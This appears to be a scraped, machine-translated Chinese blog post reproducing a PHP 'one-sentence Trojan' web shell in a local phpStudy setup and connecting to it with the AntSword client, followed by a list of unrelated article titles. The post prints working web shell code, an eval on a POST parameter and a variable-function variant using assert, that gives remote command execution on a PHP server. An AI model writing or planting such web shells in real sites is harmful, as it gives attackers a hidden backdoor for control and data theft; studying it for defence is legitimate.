当前位置:网站首页>Reproduce PHP one sentence Trojan horse
Reproduce PHP one sentence Trojan horse
2022-07-26 11:13:00 【Stay up late and sleepy】
stay phpstudy-pro in , Turn on apache,MySQL, stay WWW Create... In the directory php file , In the php Write code in the file
<?php
eval($_POST['2']);
?>
Open the Chinese ant sword test
Enter the local address of the test , Connection password input 2, Encoding format selection base64, Click test connection

When the connection is successful , Click Add , Double click the added record , See website Content and directory structure , On behalf of and success .

Revise it php file
<?php
$_POST['1']($_POST['2']);
?>

eval The rules of :eval It's a language constructor , It's not a function , Therefore, it cannot be called by variable functions .
Use assert;assert You can also execute any command ,

Show successful connection .
边栏推荐
- Many people don't know whether they are looking for Kanban software or Kanban software
- easyui05
- 找工作4个月,面试15家,终于拿到3个offer,定级P7+
- 如何配置JdbcRealm数据源呢?
- Notes on intellectual property law in Yu classroom
- 3Dunity游戏项目实战——飞机大战
- In depth interpretation of happens before principle
- 二分模板总结
- 像素和内存的关系
- PyQt5快速开发与实战 第1章 认识PyQt5
猜你喜欢
随机推荐
Traversal recursion + iteration of binary tree
SparkSQL的UDF及分析案例,220725,
easyui03
There is an unhandled exception at 0x003b66c3 in MFC: 0xc000041d: unhandled exception encountered during user callback
@The difference and use of jsonformat and @datetimeformat
pytest 执行规则_基本用法_常用插件_常用断言_常用参数
Software Testing Overview: the background, essence and process of software testing
Logging learning final edition - configured different levels of log printing colors
线程之间的几种通信方式
Bash shell learning notes (III)
Drbl diskless startup + Clonezilla network backup and restore system
数据可视化-《白蛇2:青蛇劫起》(2)
像素和内存的关系
win10 1903 笔记本开热点出现蓝屏问题
1748. Sum of unique elements
ESXi6.5补丁更新
公司项目中的biz层和manager层是干啥的
104. Maximum depth of binary tree
Pre post pytest method
菜鸟看源码之ArrayDeque









